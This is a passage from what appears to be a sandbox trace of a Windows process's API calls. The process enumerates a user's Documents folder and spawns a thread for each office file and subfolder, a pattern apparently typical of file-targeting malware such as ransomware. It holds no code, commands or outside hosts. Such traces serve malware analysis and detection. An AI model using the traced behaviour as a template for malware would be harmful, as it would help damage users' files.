_Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.199] wcscat (in: _Dest=0x3481fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.199] wcscat (in: _Dest=0x3481fd8, _Source="Database1.accdb" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Database1.accdb") returned="C:\\Users\\FD1HVy\\Documents\\Database1.accdb" [0067.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0067.200] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.200] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0067.200] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0067.200] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b6d31c0, ftCreationTime.dwHighDateTime=0x1d4d3ab, ftLastAccessTime.dwLowDateTime=0xb1cb4360, ftLastAccessTime.dwHighDateTime=0x1d4c63d, ftLastWriteTime.dwLowDateTime=0xb1cb4360, ftLastWriteTime.dwHighDateTime=0x1d4c63d, nFileSizeHigh=0x0, nFileSizeLow=0x100af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DXp6BfCLZmvgvjv6m.pptx", cAlternateFileName="DXP6BF~1.PPT")) returned 1 [0067.200] wcscmp (_String1="DXp6BfCLZmvgvjv6m.pptx", _String2=".") returned 1 [0067.200] wcscmp (_String1="DXp6BfCLZmvgvjv6m.pptx", _String2="..") returned 1 [0067.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e260 [0067.200] wcscpy (in: _Dest=0x347e260, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.200] wcscat (in: _Dest=0x347e260, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.200] wcscat (in: _Dest=0x347e260, _Source="DXp6BfCLZmvgvjv6m.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx") returned="C:\\Users\\FD1HVy\\Documents\\DXp6BfCLZmvgvjv6m.pptx" [0067.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0067.201] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2b861b0, ftCreationTime.dwHighDateTime=0x1d53004, ftLastAccessTime.dwLowDateTime=0xa9f3e020, ftLastAccessTime.dwHighDateTime=0x1d51b0b, ftLastWriteTime.dwLowDateTime=0xa9f3e020, ftLastWriteTime.dwHighDateTime=0x1d51b0b, nFileSizeHigh=0x0, nFileSizeLow=0x1251e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gnGro.pptx", cAlternateFileName="GNGRO~1.PPT")) returned 1 [0067.201] wcscmp (_String1="gnGro.pptx", _String2=".") returned 1 [0067.201] wcscmp (_String1="gnGro.pptx", _String2="..") returned 1 [0067.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x34309c0 [0067.201] wcscpy (in: _Dest=0x34309c0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.201] wcscat (in: _Dest=0x34309c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.201] wcscat (in: _Dest=0x34309c0, _Source="gnGro.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx") returned="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx" [0067.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34309c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0067.202] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a9ac360, ftCreationTime.dwHighDateTime=0x1d4e1b1, ftLastAccessTime.dwLowDateTime=0x479698d0, ftLastAccessTime.dwHighDateTime=0x1d536b5, ftLastWriteTime.dwLowDateTime=0x479698d0, ftLastWriteTime.dwHighDateTime=0x1d536b5, nFileSizeHigh=0x0, nFileSizeLow=0x11294, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrbZOyAw_ vCsyW9jE.pptx", cAlternateFileName="GRBZOY~1.PPT")) returned 1 [0067.202] wcscmp (_String1="GrbZOyAw_ vCsyW9jE.pptx", _String2=".") returned 1 [0067.202] wcscmp (_String1="GrbZOyAw_ vCsyW9jE.pptx", _String2="..") returned 1 [0067.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347d930 [0067.202] wcscpy (in: _Dest=0x347d930, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.202] wcscat (in: _Dest=0x347d930, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.202] wcscat (in: _Dest=0x347d930, _Source="GrbZOyAw_ vCsyW9jE.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx") returned="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx" [0067.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0067.203] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59432e70, ftCreationTime.dwHighDateTime=0x1d54c74, ftLastAccessTime.dwLowDateTime=0xeb1c4d30, ftLastAccessTime.dwHighDateTime=0x1d4e3c5, ftLastWriteTime.dwLowDateTime=0xeb1c4d30, ftLastWriteTime.dwHighDateTime=0x1d4e3c5, nFileSizeHigh=0x0, nFileSizeLow=0x155c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="jQwbLAg2vznSFTeLLa.docx", cAlternateFileName="JQWBLA~1.DOC")) returned 1 [0067.203] wcscmp (_String1="jQwbLAg2vznSFTeLLa.docx", _String2=".") returned 1 [0067.203] wcscmp (_String1="jQwbLAg2vznSFTeLLa.docx", _String2="..") returned 1 [0067.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e650 [0067.203] wcscpy (in: _Dest=0x347e650, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.203] wcscat (in: _Dest=0x347e650, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.203] wcscat (in: _Dest=0x347e650, _Source="jQwbLAg2vznSFTeLLa.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx") returned="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx" [0067.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0067.204] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19417d10, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x6e72f670, ftLastAccessTime.dwHighDateTime=0x1d4ca1c, ftLastWriteTime.dwLowDateTime=0x6e72f670, ftLastWriteTime.dwHighDateTime=0x1d4ca1c, nFileSizeHigh=0x0, nFileSizeLow=0x5bcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvvzUlONiOuTser1Cw.doc", cAlternateFileName="JVVZUL~1.DOC")) returned 1 [0067.204] wcscmp (_String1="jvvzUlONiOuTser1Cw.doc", _String2=".") returned 1 [0067.204] wcscmp (_String1="jvvzUlONiOuTser1Cw.doc", _String2="..") returned 1 [0067.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347dee0 [0067.204] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.204] wcscat (in: _Dest=0x347dee0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.204] wcscat (in: _Dest=0x347dee0, _Source="jvvzUlONiOuTser1Cw.doc" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc") returned="C:\\Users\\FD1HVy\\Documents\\jvvzUlONiOuTser1Cw.doc" [0067.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347dee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0067.205] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4be8d60, ftCreationTime.dwHighDateTime=0x1d558a6, ftLastAccessTime.dwLowDateTime=0x4965d6d0, ftLastAccessTime.dwHighDateTime=0x1d55ae1, ftLastWriteTime.dwLowDateTime=0x4965d6d0, ftLastWriteTime.dwHighDateTime=0x1d55ae1, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ltKDJJ.xlsx", cAlternateFileName="LTKDJJ~1.XLS")) returned 1 [0067.205] wcscmp (_String1="ltKDJJ.xlsx", _String2=".") returned 1 [0067.205] wcscmp (_String1="ltKDJJ.xlsx", _String2="..") returned 1 [0067.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430a18 [0067.205] wcscpy (in: _Dest=0x3430a18, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.205] wcscat (in: _Dest=0x3430a18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.205] wcscat (in: _Dest=0x3430a18, _Source="ltKDJJ.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\ltKDJJ.xlsx" [0067.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0067.205] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a27dac0, ftCreationTime.dwHighDateTime=0x1d4cd5b, ftLastAccessTime.dwLowDateTime=0x7d732140, ftLastAccessTime.dwHighDateTime=0x1d4cbc5, ftLastWriteTime.dwLowDateTime=0x7d732140, ftLastWriteTime.dwHighDateTime=0x1d4cbc5, nFileSizeHigh=0x0, nFileSizeLow=0x9d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MVTSTnWaByt1ajL.odp", cAlternateFileName="MVTSTN~1.ODP")) returned 1 [0067.205] wcscmp (_String1="MVTSTnWaByt1ajL.odp", _String2=".") returned 1 [0067.205] wcscmp (_String1="MVTSTnWaByt1ajL.odp", _String2="..") returned 1 [0067.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427000 [0067.206] wcscpy (in: _Dest=0x3427000, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.206] wcscat (in: _Dest=0x3427000, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.206] wcscat (in: _Dest=0x3427000, _Source="MVTSTnWaByt1ajL.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp") returned="C:\\Users\\FD1HVy\\Documents\\MVTSTnWaByt1ajL.odp" [0067.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0067.206] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0067.206] wcscmp (_String1="My Music", _String2=".") returned 1 [0067.206] wcscmp (_String1="My Music", _String2="..") returned 1 [0067.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3481028 [0067.206] wcscpy (in: _Dest=0x3481028, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.206] wcscat (in: _Dest=0x3481028, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.206] wcscat (in: _Dest=0x3481028, _Source="My Music" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Music") returned="C:\\Users\\FD1HVy\\Documents\\My Music" [0067.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0067.207] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0067.207] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0067.207] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0067.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3431150 [0067.207] wcscpy (in: _Dest=0x3431150, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.207] wcscat (in: _Dest=0x3431150, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.207] wcscat (in: _Dest=0x3431150, _Source="My Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Pictures") returned="C:\\Users\\FD1HVy\\Documents\\My Pictures" [0067.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0067.208] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0067.208] wcscmp (_String1="My Shapes", _String2=".") returned 1 [0067.208] wcscmp (_String1="My Shapes", _String2="..") returned 1 [0067.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3481078 [0067.208] wcscpy (in: _Dest=0x3481078, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.208] wcscat (in: _Dest=0x3481078, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.208] wcscat (in: _Dest=0x3481078, _Source="My Shapes" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Shapes") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes" [0067.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0067.209] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0067.209] wcscmp (_String1="My Videos", _String2=".") returned 1 [0067.209] wcscmp (_String1="My Videos", _String2="..") returned 1 [0067.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34810c8 [0067.209] wcscpy (in: _Dest=0x34810c8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.209] wcscat (in: _Dest=0x34810c8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.209] wcscat (in: _Dest=0x34810c8, _Source="My Videos" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\My Videos") returned="C:\\Users\\FD1HVy\\Documents\\My Videos" [0067.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34810c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0067.210] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3d62d0, ftCreationTime.dwHighDateTime=0x1d54e4f, ftLastAccessTime.dwLowDateTime=0x57c7ae20, ftLastAccessTime.dwHighDateTime=0x1d5092d, ftLastWriteTime.dwLowDateTime=0x57c7ae20, ftLastWriteTime.dwHighDateTime=0x1d5092d, nFileSizeHigh=0x0, nFileSizeLow=0x12939, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="o1d0IKUTUpYj.xlsx", cAlternateFileName="O1D0IK~1.XLS")) returned 1 [0067.210] wcscmp (_String1="o1d0IKUTUpYj.xlsx", _String2=".") returned 1 [0067.210] wcscmp (_String1="o1d0IKUTUpYj.xlsx", _String2="..") returned 1 [0067.210] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481c78 [0067.210] wcscpy (in: _Dest=0x3481c78, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.210] wcscat (in: _Dest=0x3481c78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.210] wcscat (in: _Dest=0x3481c78, _Source="o1d0IKUTUpYj.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\o1d0IKUTUpYj.xlsx" [0067.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0067.210] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0067.211] wcscmp (_String1="Outlook Files", _String2=".") returned 1 [0067.211] wcscmp (_String1="Outlook Files", _String2="..") returned 1 [0067.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430de0 [0067.211] wcscpy (in: _Dest=0x3430de0, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.211] wcscat (in: _Dest=0x3430de0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.211] wcscat (in: _Dest=0x3430de0, _Source="Outlook Files" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files" [0067.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0067.212] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd182e300, ftCreationTime.dwHighDateTime=0x1d5408d, ftLastAccessTime.dwLowDateTime=0x6ec1ddd0, ftLastAccessTime.dwHighDateTime=0x1d4edcb, ftLastWriteTime.dwLowDateTime=0x6ec1ddd0, ftLastWriteTime.dwHighDateTime=0x1d4edcb, nFileSizeHigh=0x0, nFileSizeLow=0x443c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PM6HcM.docx", cAlternateFileName="PM6HCM~1.DOC")) returned 1 [0067.212] wcscmp (_String1="PM6HcM.docx", _String2=".") returned 1 [0067.212] wcscmp (_String1="PM6HcM.docx", _String2="..") returned 1 [0067.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3431200 [0067.212] wcscpy (in: _Dest=0x3431200, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.212] wcscat (in: _Dest=0x3431200, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.212] wcscat (in: _Dest=0x3431200, _Source="PM6HcM.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx") returned="C:\\Users\\FD1HVy\\Documents\\PM6HcM.docx" [0067.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0067.213] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef02560, ftCreationTime.dwHighDateTime=0x1d528f4, ftLastAccessTime.dwLowDateTime=0x1e14e8d0, ftLastAccessTime.dwHighDateTime=0x1d556af, ftLastWriteTime.dwLowDateTime=0x1e14e8d0, ftLastWriteTime.dwHighDateTime=0x1d556af, nFileSizeHigh=0x0, nFileSizeLow=0xb8cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SQLEej.pptx", cAlternateFileName="SQLEEJ~1.PPT")) returned 1 [0067.213] wcscmp (_String1="SQLEej.pptx", _String2=".") returned 1 [0067.213] wcscmp (_String1="SQLEej.pptx", _String2="..") returned 1 [0067.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x34311a8 [0067.213] wcscpy (in: _Dest=0x34311a8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.213] wcscat (in: _Dest=0x34311a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.213] wcscat (in: _Dest=0x34311a8, _Source="SQLEej.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx") returned="C:\\Users\\FD1HVy\\Documents\\SQLEej.pptx" [0067.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34311a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0067.213] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x847a8340, ftCreationTime.dwHighDateTime=0x1d4d4ce, ftLastAccessTime.dwLowDateTime=0x9b1fcd10, ftLastAccessTime.dwHighDateTime=0x1d4d403, ftLastWriteTime.dwLowDateTime=0x9b1fcd10, ftLastWriteTime.dwHighDateTime=0x1d4d403, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sUNAQgk8PGby", cAlternateFileName="SUNAQG~1")) returned 1 [0067.213] wcscmp (_String1="sUNAQgk8PGby", _String2=".") returned 1 [0067.213] wcscmp (_String1="sUNAQgk8PGby", _String2="..") returned 1 [0067.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430ac8 [0067.214] wcscpy (in: _Dest=0x3430ac8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.214] wcscat (in: _Dest=0x3430ac8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.214] wcscat (in: _Dest=0x3430ac8, _Source="sUNAQgk8PGby" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby" [0067.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430ac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0067.214] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd811790, ftCreationTime.dwHighDateTime=0x1d52590, 